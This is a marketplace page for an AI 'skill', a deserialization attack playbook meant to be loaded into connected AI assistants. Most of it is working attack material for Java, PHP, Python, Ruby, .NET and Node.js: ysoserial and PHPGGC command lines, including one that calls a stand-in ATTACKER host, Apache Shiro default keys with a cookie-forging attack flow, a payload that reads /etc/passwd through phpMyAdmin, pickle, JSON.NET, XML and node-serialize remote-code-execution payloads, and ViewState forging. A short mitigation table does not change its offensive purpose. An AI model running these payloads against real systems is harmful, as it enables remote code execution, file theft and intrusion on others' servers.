SKILL: Insecure Deserialization — Expert Attack Playbook
SkillFiles & storageInsecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escalation.
Available today. Use it from your connected AI after setup.
No other account needed.
Connect ahel once, and every AI you use reads what you have installed.
Then ask your AI: use the SKILL: Insecure Deserialization — Expert Attack Playbook skill
What this skill tells your AI
The instructions your AI receives, as published by langbyyi/cyberstrikeai-src in skills/deserialization-insecure/SKILL.md and read by ahel’s review.
AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
0. RELATED ROUTING
- jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
- unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?
Java Serialized Objects
| Indicator | Where to Look |
|---|---|
Hex ac ed 00 05 | Raw binary in request/response body, cookies, POST params |
Base64 rO0AB | Cookies (rememberMe), hidden form fields, JWT claims |
Content-Type: application/x-java-serialized-object | HTTP headers |
| T3/IIOP protocol traffic | WebLogic ports (7001, 7002) |
PHP Serialized Objects
| Indicator | Where to Look |
|---|---|
O:NUMBER:"ClassName" pattern | POST body, cookies, session files |
a:NUMBER:{ (array) | Same locations |
phar:// URI usage | File operations accepting user-controlled paths |
Python Pickle
| Indicator | Where to Look |
|---|---|
Hex 80 03 or 80 04 (protocol 3/4) | Binary data in requests, message queues |
| Base64-encoded binary blob | API params, cookies, Redis values |
pickle.loads / pickle.load in source | Code review / whitebox |
2. JAVA — GADGET CHAINS AND TOOLS
ysoserial — Primary Tool
# Generate payload (example: CommonsCollections1 chain with command)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin
# Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
# Common chains to try (ordered by frequency of vulnerable dependency):
# CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x
# Spring1, Spring2 — Spring Framework
# Groovy1 — Groovy
# Hibernate1 — Hibernate
# JBossInterceptors1 — JBoss
# Jdk7u21 — JDK 7u21 (no extra dependency)
# URLDNS — DNS-only confirmation (no RCE, works everywhere)
URLDNS — Safe Confirmation Probe
URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:
java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin
DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.
Commons Collections — The Classic Chain
The vulnerability exists when org.apache.commons.collections (3.x) is on the classpath and the application calls readObject() on untrusted data.
Key classes in the chain: InvokerTransformer → ChainedTransformer → TransformedMap → triggers Runtime.exec() during deserialization.
Apache Shiro — rememberMe Deserialization
Shiro uses AES-CBC to encrypt serialized Java objects in the rememberMe cookie.
Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA== # most common default
wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
Attack flow:
- Detect: response sets
rememberMe=deleteMecookie on invalid session - Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
- AES-CBC encrypt with known key + random IV
- Base64-encode → set as
rememberMecookie value - Send request → server decrypts → deserializes → RCE
DNSLog confirmation (before full RCE): use URLDNS chain → java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" → encrypt → set cookie → check DNSLog for hit.
Post-fix (random key): Key may still leak via padding oracle, or another CVE (SHIRO-721).
WebLogic Deserialization
Multiple vectors:
- T3 protocol (port 7001): direct serialized object injection
- XMLDecoder (CVE-2017-10271): XML-based deserialization via
/wls-wsat/CoordinatorPortType - IIOP protocol: alternative to T3
# T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
# Look for: "T3" or "WebLogic" in service banner
Java RMI Registry
RMI Registry (port 1099) accepts serialized objects by design:
# ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
# Requires: vulnerable library on target's classpath
# Works on: JDK <= 8u111 without JEP 290 deserialization filter
JDK Version Constraints
| JDK Version | Impact |
|---|---|
| < 8u121 | RMI/LDAP remote class loading works |
| 8u121-8u190 | trustURLCodebase=false for RMI; LDAP still works |
| >= 8u191 | Both RMI and LDAP remote class loading blocked |
| >= 8u191 bypass | Use LDAP → return serialized gadget object (not remote class) |
3. PHP — unserialize AND PHAR
Magic Method Chain
PHP deserialization triggers magic methods in order:
__wakeup() → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call() → called for inaccessible methods
Attack: craft a serialized object whose __destruct() or __wakeup() triggers dangerous operations (file write, SQL query, command execution, SSRF).
Serialized Object Format
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}
phpMyAdmin Configuration Injection (Real-World Case)
phpMyAdmin PMA_Config class reads arbitrary files via source property:
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}
PHPGGC — PHP Gadget Chain Generator
# List available chains:
phpggc -l
# Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id
# Common chains:
# Laravel/RCE1-10
# Symfony/RCE1-4
# Guzzle/RCE1
# Monolog/RCE1-2
# WordPress/RCE1
# Slim/RCE1
Phar Deserialization
Phar archives contain serialized metadata. Any file operation on a phar:// URI triggers deserialization — even when unserialize() is never directly called.
Triggering functions (partial list):
file_exists() file_get_contents() fopen()
is_file() is_dir() copy()
filesize() filetype() stat()
include() require() getimagesize()
Attack flow:
- Upload a valid file (e.g., JPEG with phar polyglot)
- Trigger file operation:
file_exists("phar://uploads/avatar.jpg") - PHP deserializes phar metadata → gadget chain executes
# Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id
4. PYTHON — PICKLE
reduce Method
Python's pickle.loads() calls __reduce__() on objects during deserialization, which can return a callable + args:
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ("id",))
payload = pickle.dumps(Exploit())
# Send payload to target that calls pickle.loads()
Analyzing Pickle Opcodes
import pickletools
pickletools.dis(payload)
# Shows opcodes: GLOBAL, REDUCE, etc.
# Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)
Common Python Deserialization Sinks
pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data) # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)
Defensive Bypass: RestrictedUnpickler
Even when RestrictedUnpickler.find_class is used, check if the whitelist is too broad:
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
raise pickle.UnpicklingError(f"forbidden: {module}.{name}")
If safe_builtins includes eval, exec, or __import__ → still exploitable.
5. DETECTION METHODOLOGY
Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│ ├── Use URLDNS probe for safe confirmation
│ ├── Identify libraries (error messages, known product)
│ └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│ ├── Identify framework (Laravel, Symfony, WordPress)
│ ├── Try PHPGGC chains for that framework
│ └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│ ├── Try pickle payload with DNS callback
│ └── Check if PyYAML unsafe load is used
│
└── Not sure?
├── Try URLDNS payload (Java) — check DNS
├── Try PHP serialized test string
└── Monitor error messages for class loading failures
6. DEFENSE AWARENESS
| Language | Mitigation |
|---|---|
| Java | JEP 290 deserialization filters; whitelist allowed classes; avoid ObjectInputStream on untrusted data; use JSON/Protobuf instead |
| PHP | Avoid unserialize() on user input; use json_decode() instead; block phar:// in file operations |
| Python | Use pickle only for trusted data; use json for external input; PyYAML: always use yaml.safe_load() |
7. QUICK REFERENCE — KEY PAYLOADS
# Java — URLDNS confirmation
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"
# Java — RCE via CommonsCollections
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"
# PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"
# PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"
# Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())"
# Shiro default key test
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>
8. RUBY DESERIALIZATION
Marshal
# Ruby's native serialization. Dangerous when deserializing untrusted data.
# Detection: Binary data starting with \x04\x08
# One-liner gadget verification (hex-encoded payload):
payload = ["040802"].pack("H*") # Minimal Marshal header
Marshal.load(payload)
YAML (CVE-rich surface)
# YAML.load is DANGEROUS — equivalent to eval for Ruby objects
# Safe alternative: YAML.safe_load
# Ruby <= 2.7.2: Gem::Requirement chain
--- !ruby/object:Gem::Requirement
requirements:
- !ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source
uri: "| id"
# Ruby 2.x-3.x: Gem::Installer chain (more complex)
# Triggers: git_set → Kernel#system
--- !ruby/object:Gem::Installer
i: x
# (Full chain available in ysoserial-ruby / blind-ruby-deserialization)
# Universal detection: supply YAML that triggers DNS callback
--- !ruby/object:Gem::Fetcher
uri: http://BURP_COLLAB/
Tools: elttam/ruby-deserialization, mbechler/ysoserial (Ruby variant)
9. .NET DESERIALIZATION
Fingerprinting
| Magic Bytes | Format |
|---|---|
AAEAAD (base64) / 00 01 00 00 00 (hex) | BinaryFormatter |
FF 01 or /w (base64) | ViewState (ObjectStateFormatter) |
< (XML opening) | XmlSerializer / DataContractSerializer |
JSON with $type key | JSON.NET (TypeNameHandling enabled) |
BinaryFormatter (most dangerous)
# Always dangerous when deserializing untrusted data
# Tool: ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw
# LosFormatter wraps BinaryFormatter — same gadgets work
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "whoami" -o base64
ViewState (ASP.NET)
# If __VIEWSTATE is not MAC-protected (enableViewStateMac=false):
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"
# Leak machineKey from web.config (via LFI/backup) → forge ViewState
XmlSerializer + ObjectDataProvider
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ObjectDataProvider MethodName="Start">
<ObjectInstance xsi:type="Process">
<StartInfo>
<FileName>cmd.exe</FileName>
<Arguments>/c whoami</Arguments>
</StartInfo>
</ObjectInstance>
</ObjectDataProvider>
</root>
JSON.NET ($type abuse)
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System",
"StartInfo": {
"$type": "System.Diagnostics.ProcessStartInfo, System",
"FileName": "cmd.exe",
"Arguments": "/c whoami"
}
}
}
Vulnerable when TypeNameHandling != None in JSON deserialization settings.
Tools
pwntester/ysoserial.net— primary .NET gadget chain generatorNotSoSecure/Blacklist3r— decrypt/forge ViewState with known machineKey
10. NODE.JS DESERIALIZATION
node-serialize (IIFE injection)
// Vulnerable pattern:
var serialize = require('node-serialize');
var obj = serialize.unserialize(userInput);
// Payload: IIFE (Immediately Invoked Function Expression)
// The _$$ND_FUNC$$_ prefix signals a serialized function
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}
// Key: the () at the end causes immediate execution upon deserialization
funcster
// Vulnerable: funcster.deepDeserialize(userInput)
// Payload uses __js_function to inject via constructor chain:
{"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}
cryo (serialize-js variant)
// cryo.serialize/deserialize also supports function injection:
{"__js_function":"function(){return require('child_process').execSync('id').toString()}"}
PHP create_function + Deserialization Combo
// When create_function is available and object is deserialized:
// Payload creates lambda with injected code:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function anonymous() { ;}system('id');/* }
// Effective: close original body, inject command, comment out rest
// In serialized form (with private property \0ClassName\0):
O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}
Signals
- GitHub stars
- 115
- Forks
- 4
- Last commit
- Sep 2026
Advanced
- Catalog kind
- skill
- Gateway key
deserialization-insecure- Source
- github.com/langbyyi/cyberstrikeai-src